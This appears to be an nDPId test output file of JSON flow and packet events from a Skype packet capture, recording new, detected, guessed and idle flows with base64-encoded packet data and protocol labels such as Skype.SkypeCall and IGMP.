+00468{"flow_id":167,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1022,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":393520,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLhJoAAEARcpTAqAEiwKgBAdo6ADUAN4ffpXsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00468{"flow_id":166,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1023,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":393566,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLdIYAAEARgqjAqAEiwKgBAe6nADUAN3lCuqsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00516{"flow_id":158,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1024,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":584483,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrmRxAAEAGv+DAqAEinTeCjsg8AbsAEWqgQyFuW4AYECyP0QAAAQEICj4yFl9OwLdijvxAZZgUoCkBH\/EVHhRNRbBof0ntyHRIt71VUzxiPflWQfiWlCD80Wr\/3G66XhsettJAtcl5eA=="} +00519{"flow_id":160,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1025,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":825759,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrLPFAAEAGwlnAqAEi1cezsMg+Absskrs7gA\/xNYAYECzyXQAAAQEICj4yF1BO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1026,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":51267,"dst_port":40025,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":170,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1026,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":951288,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABArq9AAEAGEE\/AqAEib91KEshDnFkB\/oZbAAAAALAC\/\/94TQAAAgQFtAEDAwUBAQgKPjIXzQAAAAAEAgAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1027,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.171","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":171,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1027,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":951422,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBmb4AAEARx3TAqAEiQAQXqzLdnF8ALTBge4UCLJNHDZxrWqKO2le\/27Ln4ZxRCYpxEOdXlle+BhpaiN\/trw=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1027,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.171","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1028,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.43","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":172,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1028,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":951423,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1BfQAAEAR+PHAqAEib91KKzLdnEEAIUqfe4cCc5jQ2kkfJiYMRWMm+FrbQ2W3s3qD9w=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1028,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.43","src_port":13021,"dst_port":40001,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1029,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.20","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":173,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1029,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970671,"pkt_ts_usec":951475,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0IIEAAEAReCLAqAEiQTffFDLdnFcAIOS9e4kCJNSTA+Y3HirwjN7M3H9IWhw2zkeB"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1029,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.20","src_port":13021,"dst_port":40023,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1431970669927,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1431970670941,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.40","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1431970664698,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.229","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00444{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1431970664361,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00517{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":51267,"dst_port":40025,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":51267,"dst_port":40025,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.176","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1431970662914,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1431970664878,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.171","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.43","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1431970666903,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.19","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1431970670941,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1431970666903,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.149","src_port":13021,"dst_port":40016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1431970664878,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.171","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1431970671951,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.20","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.42","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.166","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.148","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1431970663923,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.155","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.161","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.148","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1431970662914,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.172","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1431970668973,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1431970669927,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1431970672329,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.219","dst_ip":"233.89.188.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":174,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":329260,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":60,"pkt_l4_len":8,"pkt":"AQBeWbwBJKQ8\/kzXCABGwAAgAABAAAECfDnAqAHb6Vm8AZQEAAAWAESk6Vm8AQAAAAAAAAAAAAAAAAAA"} +00478{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1431970672329,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.219","dst_ip":"233.89.188.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1031,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1431970672330,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"111.221.74.18","dst_ip":"192.168.1.34","src_port":40025,"dst_port":51267,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":175,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1031,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":330878,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGyAJv3UoSwKgBIpxZyEOVl6lyAf6GXKASOJAXYAAAAgQFrAQCCApNdqzUPjIXzQEDAwk="} +00436{"flow_id":75,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1032,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":330884,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0BR9AADYGw9Bv3UotwKgBIgG7yCgNTatbSHrP+4ARAB1JQAAAAQEICk2Hwec+Mcjn"} +00437{"flow_id":175,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1033,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":330988,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0GgdAAEAGpQPAqAEib91KEshDnFkB\/oZclZepc4AQECxtDwAAAQEICj4yGUhNdqzU"} +00566{"flow_id":175,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1034,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":331526,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"0NQSxnP1PBXCt3IOCABFAACRr\/NAAEAGDrrAqAEib91KEshDnFkB\/oZclZepc4AYECy4BwAAAQEICj4yGUhNdqzUmUO9\/LTafC041uHw5zeCI5+KKboHTmjFCo5WeTXWyCdenOVuxff5eRxdfDzh+VoYuzDhnvc8fYrzCNk2r5T1oivg0c5n7G26Y7jJZh9E5dKbkMH+15xd6tNouZaP"} 